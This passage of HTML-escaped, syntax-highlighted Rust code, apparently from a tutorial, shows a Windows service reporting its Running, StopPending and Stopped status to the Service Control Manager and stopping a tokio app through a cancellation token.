&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Now tell SCM that we&amp;#39;re ready
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// (ideally, you would have validated your initialization at this point,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// however, for a cross-platform app, you would likely need to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// restructure a bit if everything is normally done in run_app. I kept
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// it simple here).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;Running&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Accept STOP commands while running
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="no"&gt;STOP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Must be 0 when service is running
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// No wait hint when running, so just default/zero
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Create tokio runtime _here_ as our regular main entry point in the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// service case just calls the dispatcher and the dispatcher calls us
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// on a different thread.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;runtime&lt;/span&gt;::&lt;span class="n"&gt;Runtime&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Failed to create runtime
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;Stopped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;575&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// app init failure
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// hack: note that a custom error type might be more accurate
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// here as it&amp;#39;s not a Windows API error...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;windows_service&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;::&lt;span class="n"&gt;Winapi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CancellationToken&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;block_on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;app_token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Spawn background task that waits for stop signal sent through
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// control handler, and then cancels the token to notify our app
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// tasks
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_rx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Report StopPending so SCM knows we&amp;#39;re winding down and
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// doesn&amp;#39;t force-kill us.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ServiceStatusHandle implements Copy, so we can use it here
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;StopPending&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;from_secs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Run application until cancelled via token
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;crate&lt;/span&gt;::&lt;span class="n"&gt;run_app&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app_token&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// again: better to log to Windows Event Log or a file as
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// this error message goes to nowhere :-)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Got error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Tell SCM that we&amp;#39;re done (we&amp;#39;ve passed the blocking runtime code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// above, so we either crashed or received a shutdown)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
